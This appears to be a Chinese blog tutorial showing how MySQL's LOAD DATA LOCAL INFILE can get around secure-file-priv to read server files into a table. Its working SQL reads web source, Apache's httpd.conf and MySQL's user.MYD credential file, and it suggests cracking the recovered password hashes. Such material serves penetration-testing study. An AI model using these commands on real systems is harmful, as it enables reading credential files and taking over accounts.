有些时候总是会碰到--secure-file-priv 的限制我们的文件读取写入
即使在当前用户具备了 file 的权限也是如此
问题是从 mysql5.6–> mysql5.7升级后导致的

Alt text

我们先简单做个测试, 创建一个数据库, 并且创建 id,text

1
2
3
4
5
6
7
create database readline;
use readline;
CREATE TABLE IF NOT EXISTS `table_name`(
   `id` INT UNSIGNED AUTO_INCREMENT,
   `text` VARCHAR(65524) NOT NULL,
   PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

通过 LOAD DATA LOCAL INFILE 导入本地文件

1
LOAD DATA LOCAL INFILE 'C:\\phpStudy\\WWW\\l.php' INTO TABLE table_name;

Alt text

但是从图中可以发现导入了500多行内容, 非常不具备可读性

我们改善一下脚本内容 加入 fields terminated by '' LINES TERMINATED BY '\0'原因如下:

(1) fields关键字指定了文件记段的分割格式,如果用到这个关键字,MySQL剖析器希望看到至少有下面的一个选项:

1
2
3
4
5
6
7
terminated by分隔符:意思是以什么字符作为分隔符
enclosed by字段括起字符
escaped by转义字符
terminated by描述字段的分隔符,默认情况下是tab字符(\t)
enclosed by描述的是字段的括起字符。
escaped by描述的转义字符。默认的是反斜杠(backslash:\ )
例如:load data infile "/home/mark/Orders txt" replace into table  Orders fields terminated by',' enclosed by '"';

(2)lines 关键字指定了每条记录的分隔符默认为’\n’即为换行符

1
2
3
如果两个字段都指定了那fields必须在lines之前。如果不指定fields关键字缺省值与如果你这样写的相同:fields terminated by'\t' enclosed by ’ '' ‘ escaped by'\\'
如果你不指定一个lines子句,缺省值与如果你这样写的相同:lines terminated by'\n'
例如:load data infile "/jiaoben/load.txt" replace into table test fields terminated by ',' lines terminated by '/n';
1
LOAD DATA LOCAL INFILE 'C:\\phpStudy\\WWW\\phpinfo.php' INTO TABLE `table_name` fields terminated by '' LINES TERMINATED BY '\0';

Alt text

1
select `text` from `table_name`;

Alt text

改善一下

由于varchar限制了字符长度最大为65535 , 由于存储机制,表名也会占用字节数.我们这边优化一下.采用LONGTEXT 作为当前表名属性

详情如下表

value byte other
varchar 小于255byte 1byte overhead
varchar 大于255byte 2byte overhead
tinytext 0-255 1 byte overhead
text 0-65535 byte 2 byte overhead
mediumtext 0-16M 3 byte overhead
longtext 0-4Gb 4byte overhead

为了更方便的模拟真实环境 , 我们先使用 root 权限创建新账户 test

1
grant all privileges on readline.* to test@localhost identified by 'test';

然后使用 test 登录 phpmyadmin 控制 mysql 读取文件, 在后面加上LINES TERMINATED BY ‘\0’ 即可,这样子就把截断符号作为分隔符处理了, 同样发现读取成功.

1
2
3
create table `table_name` ( `text` LONGTEXT );
LOAD DATA LOCAL INFILE 'C:\\phpStudy\\WWW\\phpinfo.php' INTO TABLE `table_name` fields terminated by '' LINES TERMINATED BY '\0';
select `text` from `table_name`;

Alt text

完整代码如下

1
2
3
4
drop table IF EXISTS table_name;
create table `table_name` ( `text` LONGTEXT );
LOAD DATA LOCAL INFILE 'C:\\phpStudy\\Apache\\conf\\httpd.conf' INTO TABLE `table_name` fields terminated by '' LINES TERMINATED BY '\r\n';
select `text` from `table_name`;

Alt text

当然还可以读取, 然后破解 mysql-hash 即可
1
LOAD DATA LOCAL INFILE 'C:\\phpStudy\\MySQL\\data\\mysql\\user.MYD' INTO TABLE `table_name` fields terminated by '' LINES TERMINATED BY '\0';

其他情况

ERROR 1148: The used command is not allowed with this MySQL version

1
2
3
4
5
6
7
8
show variables like 'local%';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| local_infile  | OFF   |
+---------------+-------+

set global local_infile = 1;

参考文章

https://blog.csdn.net/superhosts/article/details/26054997
https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html